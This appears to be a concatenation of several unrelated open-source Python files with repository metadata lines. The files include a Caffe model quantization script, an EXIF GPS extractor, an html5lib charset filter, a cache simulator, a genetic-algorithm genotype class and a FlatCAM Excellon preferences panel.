top5_total = 0
lmdb_data = datasets.LMDBData(args.dataset)
lmdb_data.set_scale(SCALE)
lmdb_data.set_crop_size(CROP_SIZE)
if MEAN_FILE is not None:
lmdb_data.set_mean_file(MEAN_FILE)
else:
lmdb_data.set_mean_value(MEAN_VALUE)
for index in range(iterations):
data, labels = lmdb_data.get_blobs(BATCH_SIZE)
forward_kwargs = {MODEL_INPUT_BLOB_NAME: data}
blobs_out = net.forward(**forward_kwargs)
top1, top5 = img_postprocess(blobs_out[MODEL_OUTPUT_BLOB_NAME], labels)
top1_total += top1
top5_total += top5
print('*****************iteration:{}******************'.format(index))
print('top1_acc:{}'.format(top1))
print('top5_acc:{}'.format(top5))
print('******final top1:{}'.format(top1_total / iterations))
print('******final top5:{}'.format(top5_total / iterations))
return top1_total / iterations
class AutoCalibrationEvaluator(AutoCalibrationEvaluatorBase):
"""auto calibration evaluator"""
def __init__(self, target_loss, batch_num, args):
"""
evaluate_batch_num is the needed batch num for evaluating
the model. Larger evaluate_batch_num is recommended, because
the evaluation metric of input model can be more precise
with larger eval dataset.
"""
self.target_loss = target_loss
self.batch_num = batch_num
self.args = args
super().__init__()
def calibration(self, model_file, weights_file):
""""
Function:
do the calibration with model
Parameter:
model_file: the prototxt model define file of caffe model
weights_file: the binary caffemodel file of caffe model
"""
run_caffe_model(model_file, weights_file, self.batch_num)
def evaluate(self, model_file, weights_file):
""""
Function:
evaluate the model with batch_num of data, return the eval
metric of the input model, such as top1 for classification
model, mAP for detection model and so on.
Parameter:
model_file: the prototxt model define file of caffe model
weights_file: the binary caffemodel file of caffe model
"""
return do_benchmark_test(self.args, model_file, weights_file,
self.args.iterations)
def metric_eval(self, original_metric, new_metric):
"""
Function:
whether the metric of new fake quant model can satisfy the
requirement
Parameter:
original_metric: the metric of non quantized model
new_metric: the metric of new quantized model
"""
# the loss of top1 acc need to be less than 0.2%
loss = original_metric - new_metric
if loss * 100 < self.target_loss:
return True, loss
return False, loss
def main(args):
"""main function"""
if args.gpu_id is not None:
caffe.set_mode_gpu()
caffe.set_device(args.gpu_id)
amct.set_gpu_mode()
else:
caffe.set_mode_cpu()
# User model files
model_file = os.path.realpath(args.model_file)
weights_file = os.path.realpath(args.weights_file)
# Run pre model test
if not args.pre_test:
do_benchmark_test(args, model_file, weights_file, args.iterations)
print('[AMCT][INFO]Run Mobilenet_v2 without quantize success!')
return
# step 1: create the quant config file
config_json_file = './config.json'
skip_layers = []
batch_num = CALIBRATION_BATCH_NUM
activation_offset = True
amct.create_quant_config(config_json_file, model_file, weights_file,
skip_layers, batch_num, activation_offset)
scale_offset_record_file = os.path.join(TMP, 'scale_offset_record.txt')
result_path = os.path.join(RESULT, 'MobileNetV2')
evaluator = AutoCalibrationEvaluator(target_loss=0.2, batch_num=batch_num,
args=args)
# step 2: start the accuracy_based_auto_calibration process
amct.accuracy_based_auto_calibration(
args.model_file,
args.weights_file,
evaluator,
config_json_file,
scale_offset_record_file,
result_path)
if __name__ == '__main__':
main(QUANT_ARGS)
| 2.09375 | 2 |
extract_location_from_exif.py | ivangayton/GDAL_scripts | 3 | 12768805 | <gh_stars>1-10
#! /usr/bin/python3
"""
Extracts the GPS locations from EXIF data from a directory full of
Sensefly Ebee camera images. Not sure if it works with other cameras as it's
currently only set up for the specific numerical format of the EXIF data
the Ebee camera creates (degrees, minutes, and seconds as a Ratio datatype).
Creates a CSV file containing the file basenames, the paths, and the lats and
lons in decimal degree format for all images, suitable for importation into
QGIS as delimited text.
Expects a single argument: a directory. Recursively traverses all
subdirectories, so it'll give you a CSV with info from all .jpg images in the
folder and all subfolders. The CSV file will be in the same parent folder as
the input directory, and will have the same name with a .csv extension.
Requires the exifread library, available on pip (pip install exifread).
Might be sensible to rewrite using PIL (or pillow) library to make it a more
common dependency. Not urgent.
"""
import sys, os
import csv
import exifread
def scandir(dir):
"""Walk recursively through a directory and return a list of all files in it"""
filelist = []
for path, dirs, files in os.walk(dir):
for f in files:
filelist.append(os.path.join(path, f))
return filelist
def exif_GPS_to_decimal_degrees(intag):
"""
Spit out a decimal degree lat or long.
Expects an exifread tag full of exifread.utils.Ratio types
"""
d = float(intag.values[0].num) / float(intag.values[0].den)
m = float(intag.values[1].num) / float(intag.values[1].den)
s = float(intag.values[2].num) / float(intag.values[2].den)
return d + (m / 60.0) + (s / 3600.0)
def extract_location(infile):
"""Return the GPS lat and long of a photo from EXIF in decimal degrees"""
with open(infile, 'rb') as f:
try:
tags = exifread.process_file(f)
lattag = tags.get('GPS GPSLatitude')
latref = tags.get('GPS GPSLatitudeRef')
lontag = tags.get('GPS GPSLongitude')
lonref = tags.get('GPS GPSLongitudeRef')
lat = exif_GPS_to_decimal_degrees(lattag)
lon = exif_GPS_to_decimal_degrees(lontag)
if latref.values == 'S':
lat = -lat
if lonref.values == 'W':
lon = -lon
return(lat, lon)
except Exception as e:
print(e)
print('The photo {} failed for some reason'.format(infile))
def create_geotag_list(indir):
"""Create a CSV file with a list of photos and their lat & long"""
outfile = indir + '.csv'
image_files = scandir(indir)
writer = csv.writer(open(outfile, 'w'), delimiter = ',')
writer.writerow(['file', 'path', 'directory', 'lat', 'lon'])
for image_file in image_files:
(image_path, image_ext) = os.path.splitext(image_file)
image_filename = os.path.basename(image_file)
image_dirname = os.path.dirname(image_file)
if(image_ext == '.JPG' or image_ext == '.jpg'):
crds = extract_location(image_file)
if(crds):
writer.writerow([image_filename, image_file, image_dirname,
crds[0], crds[1]])
if __name__ == "__main__":
"""Expects a directory as the sole argument"""
create_geotag_list(sys.argv[1])
| 2.640625 | 3 |
python/html5lib/filters/inject_meta_charset.py | gsnedders/html5lib | 10 | 12768806 | from __future__ import absolute_import
from . import _base
class Filter(_base.Filter):
def __init__(self, source, encoding):
_base.Filter.__init__(self, source)
self.encoding = encoding
__init__.func_annotations = {}
def __iter__(self):
state = u"pre_head"
meta_found = (self.encoding is None)
pending = []
for token in _base.Filter.__iter__(self):
type = token[u"type"]
if type == u"StartTag":
if token[u"name"].lower() == u"head":
state = u"in_head"
elif type == u"EmptyTag":
if token[u"name"].lower() == u"meta":
# replace charset with actual encoding
has_http_equiv_content_type = False
for (namespace,name),value in token[u"data"].items():
if namespace != None:
continue
elif name.lower() == u'charset':
token[u"data"][(namespace,name)] = self.encoding
meta_found = True
break
elif name == u'http-equiv' and value.lower() == u'content-type':
has_http_equiv_content_type = True
else:
if has_http_equiv_content_type and (None, u"content") in token[u"data"]:
token[u"data"][(None, u"content")] = u'text/html; charset=%s' % self.encoding
meta_found = True
elif token[u"name"].lower() == u"head" and not meta_found:
# insert meta into empty head
yield {u"type": u"StartTag", u"name": u"head",
u"data": token[u"data"]}
yield {u"type": u"EmptyTag", u"name": u"meta",
u"data": {(None, u"charset"): self.encoding}}
yield {u"type": u"EndTag", u"name": u"head"}
meta_found = True
continue
elif type == u"EndTag":
if token[u"name"].lower() == u"head" and pending:
# insert meta into head (if necessary) and flush pending queue
yield pending.pop(0)
if not meta_found:
yield {u"type": u"EmptyTag", u"name": u"meta",
u"data": {(None, u"charset"): self.encoding}}
while pending:
yield pending.pop(0)
meta_found = True
state = u"post_head"
if state == u"in_head":
pending.append(token)
else:
yield token
__iter__.func_annotations = {}
| 2.234375 | 2 |
sources/dtos/symbols_dtos.py | pablintino/Altium-DBlib-source | 1 | 12768807 | <filename>sources/dtos/symbols_dtos.py
#
# MIT License
#
# Copyright (c) 2020 <NAME>, @pablintino
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
from models import LibraryReference
class SymbolDto:
def __init__(self, **kwargs):
self.id = kwargs.get('id', None)
self.path = kwargs.get('path', '')
self.reference = kwargs.get('reference', '')
self.encoded_data = kwargs.get('encoded_data', '')
self.description = kwargs.get('description', '')
def __repr__(self):
return '%s(%s)' % (
type(self).__name__,
', '.join('%s=%s' % item for item in vars(self).items())
)
@staticmethod
def to_model(data):
return LibraryReference(
symbol_path=data.path,
symbol_ref=data.reference,
description=data.description)
@staticmethod
def from_model(data, encoded_symbol):
return SymbolDto(
id=data.id,
path=data.symbol_path,
reference=data.symbol_ref,
description=data.description,
encoded_data=encoded_symbol)
class SymbolComponentReferenceWrapperDto:
def __init__(self, data):
self.data = data
class SymbolComponentReferenceDto:
def __init__(self, **kwargs):
self.symbol_id = kwargs.get('symbol_id', None)
def __repr__(self):
return '%s(%s)' % (
type(self).__name__,
', '.join('%s=%s' % item for item in vars(self).items())
)
| 1.789063 | 2 |
integer_gtype.py | didrikjonassen/ea | 0 | 12768808 | import random
class integer_genotype(object):
gene = None
max_int = 1
def __init__(this, max_int=1, gene=None):
this.max_int = max_int
this.gene = gene
def generate_random(this, length):
this.gene = [random.randint(0, this.max_int) for i in xrange(length)]
def generate_distinct(this):
this.gene = range(this.max_int+1)
random.shuffle(this.gene)
def crossover_naive(this, that, num_points, prob):
points = random.sample(xrange(1, len(this.gene) - 1), num_points) + [len(this.gene)]
points.sort()
genomes = [this, that]
start = 0
result1, result2 = [], []
phase = 0
for point in points:
stop = point
result1 += genomes[phase].gene[start:stop]
result2 += genomes[(phase+1)%2].gene[start:stop]
start = point
if random.random() < prob:
phase = (phase + 1) % 2
return [integer_genotype(this.max_int, result1), integer_genotype(this.max_int, result2)]
def crossover_distinct(this, that, num_points, prob):
#Only supports one crossover (yet)
if random.random() < prob:
point = random.randint(1, len(this.gene)-1)
else:
point = len(this.gene)
print point
result1, result2, rest = [], [], []
result1 += this.gene[:point]
rest += this.gene[point:]
result2 += that.gene
for k in range(len(result2) - len(rest)):
while result2[k] in rest:
result1 += [result2.pop(k)]
result2 += rest
return [integer_genotype(this.max_int, result1), integer_genotype(this.max_int, result2)]
def mutate_bitwise(this, prob):
for i in xrange(len(this.gene)):
if random.random() < prob:
this.gene[i] = (this.gene[i] + random.randint(1, this.max_int)) % (this.max_int + 1)
def mutate_genewise(this, prob):
if random.random() < prob:
i = random.randint(0, len(this.gene) - 1)
this.gene[i] = (this.gene[i] + random.randint(1, this.max_int)) % (this.max_int + 1)
def mutate_swap(this, prob):
if random.random() < prob:
i, k = random.sample(range(len(this.gene)), 2)
this.gene[i], this.gene[k] = this.gene[k], this.gene[i]
mutationtypes = {"bitwise":mutate_bitwise, "genewise":mutate_genewise, "swa":mutate_swap}
crossovertypes = {"naive":crossover_naive, "distinct":crossover_distinct} | 3.375 | 3 |
cpp/nativelib/test_echo.py | uwydoc/the-practices | 0 | 12768809 | <filename>cpp/nativelib/test_echo.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
from __future__ import print_function, division
import time
from testhelpers import ffi, lib
def test_echo():
print("nativelib echo:", lib.ne_get_version())
e = lib.ne_echo_new(b"hello world")
print("msg:", lib.ne_echo_get_msg(e))
lib.ne_echo_set_msg(e, b"biubiu")
lib.ne_echo_echo(e)
| 2.109375 | 2 |
CacheSimulator.py | mbaharan/PyCacheSimulator | 0 | 12768810 | #!/usr/bin/python3.5
'''
MIT License
Copyright (c) 2018 <NAME>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
A simple cache simulator developed by <NAME>
This code is developed for Computer Architecture subject
University of North Carolina, Charlotte, USA
'''
import re
from Cache import Cache
import argparse
import gzip
parser = argparse.ArgumentParser()
parser.add_argument("cache_trace", help="Memory address trace in gzip format")
parser.add_argument("cache_size", help="Cache size in KB.", type=int)
parser.add_argument("block_size", help="Block size in B.", type=int)
parser.add_argument("set_number", help="set number", type=int)
parser.add_argument("address_bit_size", help="set number", type=int, default=32, action='store', nargs='?')
args = parser.parse_args()
regex = re.compile('[0-9]+')
'''
def readFile(fileAddr):
instructions=[]
dataAddr=[]
with open(fileAddr) as f:
lines = f.readlines()
for line in lines:
data = line.split(' ')
type = int(data[0], 10)
addr = int(data[1], 16)
if(type == 2):
instructions.append(addr)
elif(type == 0 or type == 1):
dataAddr.append(addr)
else:
print(data[0])
return [instructions, dataAddr]
'''
def simulateCaches(file_handler, i_ch, d_ch):
for line in file_handler:
data = line.split(' ')
type = int(data[0], 10)
addr = int(data[1], 16)
if (type == 2): # Instruction fetch
i_ch.read(addr) # Data read (0) or Data write (1)
elif (type == 0 or type == 1):
d_ch.read(addr)
try:
miss_rate_d = '{0:.2f}'.format(float(d_ch.miss) * 100 / d_ch.access)
except ZeroDivisionError:
miss_rate_d = 'N/A'
try:
miss_rate_i = '{0:.2f}'.format(float(i_ch.miss) * 100 / i_ch.access)
except ZeroDivisionError:
miss_rate_i = 'N/A'
print("{} miss rate : {}, access : {} and {} miss rate : {}, access : {}"
.format(i_ch.name, miss_rate_i, i_ch.access,
d_ch.name, miss_rate_d, d_ch.access), flush=True, end='\r')
print()
printResult(i_ch)
printResult(d_ch)
def printResult(ch):
print
print("-----------------------------")
print("\tResult for " + ch.name +":")
print("\tTotal : " + str(ch.access))
print("\tMisses : " + str(ch.miss))
print("\tHit : " + str(ch.access - ch.miss))
print("\tHit Rate : {0:.5}".format(float(ch.access - ch.miss)*100/ch.access))
print("-----------------------------")
if __name__ == '__main__':
filePath = args.cache_trace
cacheSize = args.cache_size * 1024
blockSize = args.block_size
setNumber = args.set_number
address_bit_size = args.address_bit_size
file_handler = gzip.open(filePath, 'rt')
l1_ins = Cache(address_bit_size, 'l1_icache', cacheSize, blockSize, setNumber)
l1_d = Cache(address_bit_size, 'l1_dcache', cacheSize, blockSize, setNumber)
l1_ins.construct()
l1_d.construct()
simulateCaches(file_handler, l1_ins, l1_d)
| 2.609375 | 3 |
draugr/generators/zipping_generator.py | cnHeider/draugr | 3 | 12768811 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from copy import deepcopy
from typing import Any, Generator, Iterable, Iterator
__author__ = "<NAME>"
__doc__ = r"""
Created on 28/10/2019
"""
__all__ = ["unzip", "unzipper"]
def unzip(iterable: Iterable) -> Iterable:
""" """
return zip(*iterable)
def unzipper(iterable: Iterable[Iterable]) -> Iterable:
"""
Unzips an iterable of an iterable
Be carefully has undefined and expected behaviour
:param iterable:
:return:"""
def check_next_iter(iterable: Any) -> Any:
""" """
if isinstance(iterable, Iterable):
try:
a = next(iter(iterable))
if isinstance(a, Iterable):
return a
except StopIteration:
pass
if isinstance(iterable, Iterable):
check_a = check_next_iter(check_next_iter(deepcopy(iterable)))
if check_next_iter(check_a):
for a in iterable:
yield unzipper(a)
elif check_a:
for a in iterable:
yield unzip(a)
else:
for i in iterable:
yield i
return
if __name__ == "__main__":
def recursive_eval(node: Any):
""" """
if isinstance(node, (Iterable, Generator, Iterator)):
gather = []
for i in node:
gather.append(recursive_eval(i))
return gather
return node
def aasda():
""" """
r = range(4)
print(0)
a = [[[*r] for _ in r] for _ in r]
print(a)
print(1)
for _, assd in zip(r, unzipper(a)):
print()
print(recursive_eval(assd))
print()
for _, (a, *_) in zip(r, unzipper(a)):
print()
print(recursive_eval(a))
print()
print(2)
def skad23():
""" """
print(0)
zippy_once = zip(range(6), range(3))
dsadsa = list(deepcopy(zippy_once))
zippy_twice = zip(dsadsa, dsadsa)
zippy_twice_copy = deepcopy(zippy_twice)
asds = list(deepcopy(zippy_twice_copy))
zippy_trice = zip(asds, asds)
zippy_trice_copy = deepcopy(zippy_trice)
print(1)
for aa in zippy_twice:
print(recursive_eval(aa))
print(2)
for a1 in unzip(zippy_twice_copy):
print(recursive_eval(a1))
print(3)
for a1 in unzip(zippy_once):
print(recursive_eval(a1))
print(4)
for a1 in zippy_trice:
print(recursive_eval(a1))
print(5)
for a1 in unzip(zippy_trice_copy):
print(recursive_eval(a1))
print(6)
def skad():
""" """
print(0)
zippy_once = zip(zip(range(6), range(3)))
zippy_once_copy = deepcopy(zippy_once)
dsadsa = list(deepcopy(zippy_once))
zippy_twice = zip(dsadsa, dsadsa)
zippy_twice_copy = deepcopy(zippy_twice)
asds = list(deepcopy(zippy_twice_copy))
zippy_trice = zip(asds, asds)
zippy_trice_copy = deepcopy(zippy_trice)
asds2323 = list(deepcopy(zippy_trice_copy))
zippy_quad = zip(asds2323, asds2323)
zippy_quad_copy = deepcopy(zippy_quad)
print(1)
for aa in zippy_twice:
print(recursive_eval(aa))
print(2)
for a1 in unzipper(zippy_twice_copy):
print(recursive_eval(a1))
print(3)
for a1 in zippy_once_copy:
print(recursive_eval(a1))
print(4)
for a1 in unzipper(zippy_once):
print(recursive_eval(a1))
print(5)
for a1 in zippy_trice:
print(recursive_eval(a1))
print(6)
for a1 in unzipper(zippy_trice_copy):
print(recursive_eval(a1))
print(7)
for a1 in zippy_quad:
print(recursive_eval(a1))
print(8)
for a1 in unzipper(zippy_quad_copy):
print(recursive_eval(a1))
print(9)
aasda()
print()
print("asafasdw")
print()
skad()
# skad23()
| 3.3125 | 3 |
appGUI/preferences/excellon/ExcellonGenPrefGroupUI.py | DannyPol/flatcam | 1 | 12768812 | <gh_stars>1-10
import platform
from PyQt5 import QtWidgets, QtCore
from PyQt5.QtCore import QSettings
from appGUI.GUIElements import FCCheckBox, FCSpinner, RadioSet, FCSliderWithSpinner, FCColorEntry
from appGUI.preferences.OptionsGroupUI import OptionsGroupUI
import gettext
import appTranslation as fcTranslate
import builtins
fcTranslate.apply_language('strings')
if '_' not in builtins.__dict__:
_ = gettext.gettext
settings = QSettings("Open Source", "FlatCAM")
if settings.contains("machinist"):
machinist_setting = settings.value('machinist', type=int)
else:
machinist_setting = 0
class ExcellonGenPrefGroupUI(OptionsGroupUI):
def __init__(self, decimals=4, parent=None):
# OptionsGroupUI.__init__(self, "Excellon Options", parent=parent)
super(ExcellonGenPrefGroupUI, self).__init__(self, parent=parent)
self.setTitle(str(_("Excellon General")))
self.decimals = decimals
# Plot options
self.plot_options_label = QtWidgets.QLabel("<b>%s:</b>" % _("Plot Options"))
self.layout.addWidget(self.plot_options_label)
grid1 = QtWidgets.QGridLayout()
self.layout.addLayout(grid1)
# Plot CB
self.plot_cb = FCCheckBox(label=_('Plot'))
self.plot_cb.setToolTip(
"Plot (show) this object."
)
grid1.addWidget(self.plot_cb, 0, 0)
# Solid CB
self.solid_cb = FCCheckBox(label=_('Solid'))
self.solid_cb.setToolTip(
"Plot as solid circles."
)
grid1.addWidget(self.solid_cb, 0, 1)
# Multicolored CB
self.multicolored_cb = FCCheckBox(label='%s' % _('M-Color'))
self.multicolored_cb.setToolTip(
_("Draw polygons in different colors.")
)
grid1.addWidget(self.multicolored_cb, 0, 2)
separator_line = QtWidgets.QFrame()
separator_line.setFrameShape(QtWidgets.QFrame.HLine)
separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)
grid1.addWidget(separator_line, 1, 0, 1, 3)
grid2 = QtWidgets.QGridLayout()
self.layout.addLayout(grid2)
grid2.setColumnStretch(0, 0)
grid2.setColumnStretch(1, 1)
# Excellon format
self.excellon_format_label = QtWidgets.QLabel("<b>%s:</b>" % _("Excellon Format"))
self.excellon_format_label.setToolTip(
_("The NC drill files, usually named Excellon files\n"
"are files that can be found in different formats.\n"
"Here we set the format used when the provided\n"
"coordinates are not using period.\n"
"\n"
"Possible presets:\n"
"\n"
"PROTEUS 3:3 MM LZ\n"
"DipTrace 5:2 MM TZ\n"
"DipTrace 4:3 MM LZ\n"
"\n"
"EAGLE 3:3 MM TZ\n"
"EAGLE 4:3 MM TZ\n"
"EAGLE 2:5 INCH TZ\n"
"EAGLE 3:5 INCH TZ\n"
"\n"
"ALTIUM 2:4 INCH LZ\n"
"Sprint Layout 2:4 INCH LZ"
"\n"
"KiCAD 3:5 INCH TZ")
)
grid2.addWidget(self.excellon_format_label, 0, 0, 1, 2)
self.excellon_format_in_label = QtWidgets.QLabel('%s:' % _("INCH"))
self.excellon_format_in_label.setToolTip(_("Default values for INCH are 2:4"))
hlay1 = QtWidgets.QHBoxLayout()
self.excellon_format_upper_in_entry = FCSpinner()
self.excellon_format_upper_in_entry.set_range(0, 9)
self.excellon_format_upper_in_entry.setMinimumWidth(30)
self.excellon_format_upper_in_entry.setToolTip(
_("This numbers signify the number of digits in\n"
"the whole part of Excellon coordinates.")
)
hlay1.addWidget(self.excellon_format_upper_in_entry)
excellon_separator_in_label = QtWidgets.QLabel(':')
excellon_separator_in_label.setFixedWidth(5)
hlay1.addWidget(excellon_separator_in_label)
self.excellon_format_lower_in_entry = FCSpinner()
self.excellon_format_lower_in_entry.set_range(0, 9)
self.excellon_format_lower_in_entry.setMinimumWidth(30)
self.excellon_format_lower_in_entry.setToolTip(
_("This numbers signify the number of digits in\n"
"the decimal part of Excellon coordinates.")
)
hlay1.addWidget(self.excellon_format_lower_in_entry)
grid2.addWidget(self.excellon_format_in_label, 1, 0)
grid2.addLayout(hlay1, 1, 1)
self.excellon_format_mm_label = QtWidgets.QLabel('%s:' % _("METRIC"))
self.excellon_format_mm_label.setToolTip(_("Default values for METRIC are 3:3"))
hlay2 = QtWidgets.QHBoxLayout()
self.excellon_format_upper_mm_entry = FCSpinner()
self.excellon_format_upper_mm_entry.set_range(0, 9)
self.excellon_format_upper_mm_entry.setMinimumWidth(30)
self.excellon_format_upper_mm_entry.setToolTip(
_("This numbers signify the number of digits in\n"
"the whole part of Excellon coordinates.")
)
hlay2.addWidget(self.excellon_format_upper_mm_entry)
excellon_separator_mm_label = QtWidgets.QLabel(':')
excellon_separator_mm_label.setFixedWidth(5)
hlay2.addWidget(excellon_separator_mm_label, QtCore.Qt.AlignLeft)
self.excellon_format_lower_mm_entry = FCSpinner()
self.excellon_format_lower_mm_entry.set_range(0, 9)
self.excellon_format_lower_mm_entry.setMinimumWidth(30)
self.excellon_format_lower_mm_entry.setToolTip(
_("This numbers signify the number of digits in\n"
"the decimal part of Excellon coordinates.")
)
hlay2.addWidget(self.excellon_format_lower_mm_entry)
grid2.addWidget(self.excellon_format_mm_label, 2, 0)
grid2.addLayout(hlay2, 2, 1)
self.excellon_zeros_label = QtWidgets.QLabel('%s:' % _('Zeros'))
self.excellon_zeros_label.setAlignment(QtCore.Qt.AlignLeft)
self.excellon_zeros_label.setToolTip(
_("This sets the type of Excellon zeros.\n"
"If LZ then Leading Zeros are kept and\n"
"Trailing Zeros are removed.\n"
"If TZ is checked then Trailing Zeros are kept\n"
"and Leading Zeros are removed.\n\n"
"This is used when there is no information\n"
"stored in the Excellon file.")
)
grid2.addWidget(self.excellon_zeros_label, 3, 0)
self.excellon_zeros_radio = RadioSet([{'label': _('LZ'), 'value': 'L'},
{'label': _('TZ'), 'value': 'T'}])
grid2.addWidget(self.excellon_zeros_radio, 3, 1)
self.excellon_units_label = QtWidgets.QLabel('%s:' % _('Units'))
self.excellon_units_label.setAlignment(QtCore.Qt.AlignLeft)
self.excellon_units_label.setToolTip(
_("This sets the default units of Excellon files.\n"
"If it is not detected in the parsed file the value here\n"
"will be used."
"Some Excellon files don't have an header\n"
"therefore this parameter will be used.")
)
self.excellon_units_radio = RadioSet([{'label': _('Inch'), 'value': 'INCH'},
{'label': _('mm'), 'value': 'METRIC'}])
self.excellon_units_radio.setToolTip(
_("This sets the units of Excellon files.\n"
"Some Excellon files don't have an header\n"
"therefore this parameter will be used.")
)
grid2.addWidget(self.excellon_units_label, 4, 0)
grid2.addWidget(self.excellon_units_radio, 4, 1)
self.update_excellon_cb = FCCheckBox(label=_('Update Export settings'))
self.update_excellon_cb.setToolTip(
"If checked, the Excellon Export settings will be updated with the ones above."
)
grid2.addWidget(self.update_excellon_cb, 5, 0, 1, 2)
# Adding the Excellon Format Defaults Button
self.excellon_defaults_button = QtWidgets.QPushButton()
self.excellon_defaults_button.setText(str(_("Restore Defaults")))
self.excellon_defaults_button.setMinimumWidth(80)
grid2.addWidget(self.excellon_defaults_button, 6, 0, 1, 2)
separator_line = QtWidgets.QFrame()
separator_line.setFrameShape(QtWidgets.QFrame.HLine)
separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)
grid2.addWidget(separator_line, 7, 0, 1, 2)
self.excellon_general_label = QtWidgets.QLabel("<b>%s:</b>" % _("Path Optimization"))
grid2.addWidget(self.excellon_general_label, 8, 0, 1, 2)
self.excellon_optimization_label = QtWidgets.QLabel(_('Algorithm:'))
self.excellon_optimization_label.setToolTip(
_("This sets the optimization type for the Excellon drill path.\n"
"If <<MetaHeuristic>> is checked then Google OR-Tools algorithm with\n"
"MetaHeuristic Guided Local Path is used. Default search time is 3sec.\n"
"If <<Basic>> is checked then Google OR-Tools Basic algorithm is used.\n"
"If <<TSA>> is checked then Travelling Salesman algorithm is used for\n"
"drill path optimization.\n"
"\n"
"Some options are disabled when the application works in 32bit mode.")
)
self.excellon_optimization_radio = RadioSet([{'label': _('MetaHeuristic'), 'value': 'M'},
{'label': _('Basic'), 'value': 'B'},
{'label': _('TSA'), 'value': 'T'}],
orientation='vertical', stretch=False)
grid2.addWidget(self.excellon_optimization_label, 9, 0)
grid2.addWidget(self.excellon_optimization_radio, 9, 1)
self.optimization_time_label = QtWidgets.QLabel('%s:' % _('Duration'))
self.optimization_time_label.setAlignment(QtCore.Qt.AlignLeft)
self.optimization_time_label.setToolTip(
_("When OR-Tools Metaheuristic (MH) is enabled there is a\n"
"maximum threshold for how much time is spent doing the\n"
"path optimization. This max duration is set here.\n"
"In seconds.")
)
self.optimization_time_entry = FCSpinner()
self.optimization_time_entry.set_range(0, 999)
grid2.addWidget(self.optimization_time_label, 10, 0)
grid2.addWidget(self.optimization_time_entry, 10, 1)
separator_line = QtWidgets.QFrame()
separator_line.setFrameShape(QtWidgets.QFrame.HLine)
separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)
grid2.addWidget(separator_line, 11, 0, 1, 2)
# Fuse Tools
self.join_geo_label = QtWidgets.QLabel('<b>%s</b>:' % _('Join Option'))
grid2.addWidget(self.join_geo_label, 12, 0, 1, 2)
self.fuse_tools_cb = FCCheckBox(_("Fuse Tools"))
self.fuse_tools_cb.setToolTip(
_("When checked, the tools will be merged\n"
"but only if they share some of their attributes.")
)
grid2.addWidget(self.fuse_tools_cb, 13, 0, 1, 2)
separator_line = QtWidgets.QFrame()
separator_line.setFrameShape(QtWidgets.QFrame.HLine)
separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)
grid2.addWidget(separator_line, 14, 0, 1, 2)
# Excellon Object Color
self.gerber_color_label = QtWidgets.QLabel('<b>%s</b>' % _('Object Color'))
grid2.addWidget(self.gerber_color_label, 17, 0, 1, 2)
# Plot Line Color
self.line_color_label = QtWidgets.QLabel('%s:' % _('Outline'))
self.line_color_label.setToolTip(
_("Set the line color for plotted objects.")
)
self.line_color_entry = FCColorEntry()
grid2.addWidget(self.line_color_label, 19, 0)
grid2.addWidget(self.line_color_entry, 19, 1)
# Plot Fill Color
self.fill_color_label = QtWidgets.QLabel('%s:' % _('Fill'))
self.fill_color_label.setToolTip(
_("Set the fill color for plotted objects.\n"
"First 6 digits are the color and the last 2\n"
"digits are for alpha (transparency) level.")
)
self.fill_color_entry = FCColorEntry()
grid2.addWidget(self.fill_color_label, 22, 0)
grid2.addWidget(self.fill_color_entry, 22, 1)
# Plot Fill Transparency Level
self.excellon_alpha_label = QtWidgets.QLabel('%s:' % _('Alpha'))
self.excellon_alpha_label.setToolTip(
_("Set the fill transparency for plotted objects.")
)
self.excellon_alpha_entry = FCSliderWithSpinner(0, 255, 1)
grid2.addWidget(self.excellon_alpha_label, 24, 0)
grid2.addWidget(self.excellon_alpha_entry, 24, 1)
self.layout.addStretch()
current_platform = platform.architecture()[0]
if current_platform == '64bit':
self.excellon_optimization_radio.setOptionsDisabled([_('MetaHeuristic'), _('Basic')], False)
self.optimization_time_label.setDisabled(False)
self.optimization_time_entry.setDisabled(False)
else:
self.excellon_optimization_radio.setOptionsDisabled([_('MetaHeuristic'), _('Basic')], True)
self.optimization_time_label.setDisabled(True)
self.optimization_time_entry.setDisabled(True)
# Setting plot colors signals
self.line_color_entry.editingFinished.connect(self.on_line_color_entry)
self.fill_color_entry.editingFinished.connect(self.on_fill_color_entry)
self.excellon_alpha_entry.valueChanged.connect(self.on_excellon_alpha_changed) # alpha
